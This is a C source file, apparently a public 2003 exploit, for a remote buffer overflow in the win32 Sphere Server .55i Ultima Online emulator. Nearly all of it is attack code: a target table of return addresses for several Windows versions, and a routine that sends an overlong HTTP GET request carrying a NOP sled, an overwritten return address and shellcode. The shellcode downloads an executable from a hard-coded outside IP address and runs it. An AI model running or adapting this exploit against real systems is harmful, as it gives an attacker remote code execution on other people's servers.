Exploit for the win32 Sphere Server .55i from the Ultima Online Server Emulator.
c61f895011cca1cf9179eac1583450d27e65398ee74ab2bebbbc0cc2f78f02e7
/* spheresvrexp1.c - sloth@nopninjas.com - https://www.nopninjas.com
* exploit for win32 Sphere Server, Ultima Online Server Emulator
*
* 03/07/2003
*
* Sphere Server .55i
* https://oldsphere.com
* https://www.sphereserver.com
*
* This is fairly machine specific right now and probably will not
* work on any public server without some changes. It might also
* affect other versions but .55i is the most popular. There is also
* a linux version as well.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
unsigned char win32_dlandexec[] = {
"\xEB\x73\x5E\x8B\xEC\x56\x46\x80\x3E\xFF\x75\x03\x80\x36\xFF\x81"
"\x3E\x53\x4C\x4F\x46\x75\xEF\x5E\x8B\xE5\xB8\xF9\x22\x49\x01\x2D"
"\x01\x01\x01\x01\x8B\x18\x8B\xCB\x81\xE9\x01\x01\x02\x01\x81\xC1"
"\x01\x01\x01\x01\x66\x33\xC9\x51\x56\x51\xFF\xD3\x83\xC6\x28\x56"
"\xFF\xD0\x83\xEE\x1B\x56\x50\xFF\xD3\x33\xD2\x52\x52\x83\xC6\x13"
"\x56\x83\xC6\x23\x56\x52\xFF\xD0\x59\x51\x83\xEE\x08\x56\x51\xFF"
"\xD3\x52\x83\xEE\x1B\x56\xFF\xD0\x59\x83\xC6\x0F\x56\x51\xFF\xD3"
"\x33\xC9\x51\xFF\xD0\xE8\x88\xFF\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
"\x62\x72\x61\x72\x79\x41\xFF\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F"
"\x61\x64\x54\x6F\x46\x69\x6C\x65\x41\xFF\x64\x62\x67\x2E\x65\x78"
"\x65\xFF\x55\x52\x4C\x4D\x4F\x4E\xFF\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\xFF\x57\x69\x6E\x45\x78\x65\x63\xFF\x68\x74\x74"
"\x70\x3A\x2F\x2F\x36\x34\x2E\x39\x35\x2E\x31\x33\x32\x2E\x32\x31"
"\x31\x2F\x6E\x70\x2E\x65\x78\x65\xFF\x53\x4C\x4F\x46\x00\x00\x00"
};
unsigned char test[] = {
"\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62"
};
struct Targets {
char *name;
long retaddr,
nullptr;
short align,
l1,
l2,
l3;
char *shellcode;
};
struct Targets target[] = {
{ " sphereSvr 0.55i win32 XP Home ",
0x0130b301, 0x773f957f, 0, 929, 40, 16, win32_dlandexec },
{ " sphereSvr 0.55i win32 XP Home ",
0x0150b301, 0x773f957f, 0, 929, 40, 16, win32_dlandexec },
{ " sphereSvr 0.55i win32 XP Pro ",
0x01bfb301, 0x773f957f, 0, 929, 40, 16, win32_dlandexec },
{ " sphereSvr 0.55i win32 2000 ",
0x0480b301, 0x77e8018c, 2, 928, 40, 17, win32_dlandexec },
{ " sphereSvr 0.55i win32 NT 4.0 ",
0x017db301, 0x77f47008, 0, 925, 40, 20, win32_dlandexec },
{ " sphereSvr 0.55i win32 NT 4.0 ",
0x019db301, 0x77f47008, 0, 925, 40, 20, win32_dlandexec },
{ (char *)0, 0, 0, 0, 0, 0, 0, (char *)0 }
};
void fail(char *reason) {
printf("exploit failed: %s\n", reason);
exit(-1);
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int make_connect(struct in_addr host, int port) {
int s;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = host.s_addr;
if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
fail("could not create socket");
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
fail("could not connect\n");
return(s);
}
int main(int argc, char *argv[]) {
int s, elen, a, wait, port, align, l1, l2, l3;
long retaddr, nullptr;
char *shellcode, exploit[1024];
struct in_addr host;
printf("spheresvr.exe exploit by sloth@nopninjas.com\n");
if (argc<5) {
fprintf(stderr, " usage: ./axisexp <target> <host> <port> <offset>\n");
for(a=0;target[a].retaddr;a++)
printf(" %d: 0x%08x %s\n", a, target[a].retaddr, target[a].name);
exit(-1);
}
for(a=0;a<atoi(argv[1]);a++)
if(!target[a].retaddr)
fail("invalid target");
printf(" *** [%s] ***\n", target[a].name);
shellcode = target[a].shellcode;
retaddr = target[a].retaddr + atol(argv[4]);
nullptr = target[a].nullptr;
l1 = target[a].l1;
l2 = target[a].l2;
l3 = target[a].l3;
align = target[a].align;
port = atoi(argv[3]);
wait = 500;
if((host.s_addr = resolve(argv[2])) == -1)
fail("invalid host");
printf(" *** connecting to [%s:%d]...\n", argv[2], port);
s = make_connect(host, port);
elen = 5 + l1 + 4 + l2 + 4 + l3;
strcpy(exploit, "GET /");
printf(" *** pushing [%d] bytes of shellcode\n", strlen(shellcode));
memset(&exploit[5], 0x90, l1);
memcpy(&exploit[5+l1-strlen(shellcode)], shellcode, strlen(shellcode));
printf(" *** overwriting %%esi with [0x%08x], a pointer to a null string\n", nullptr);
*(long *)&exploit[5 + l1] = nullptr;
memset(&exploit[5 + l1 + 4], 0x41, l2);
printf(" *** sending return address [0x%08x]\n", retaddr);
*(long *)&exploit[elen - 4 - l3] = retaddr;
memset(&exploit[elen - l3], 0x42, l3);
exploit[elen] = 0;
/*
for(a=0;a<elen;a++)
printf("%x ", exploit[a] & 0xff);
printf("\n len: %d\n", elen);
*/
send(s, exploit, strlen(exploit), 0);
usleep(wait);
printf(" *** exploit finished, check to see if it worked\n");
sleep(1);
close(s);
}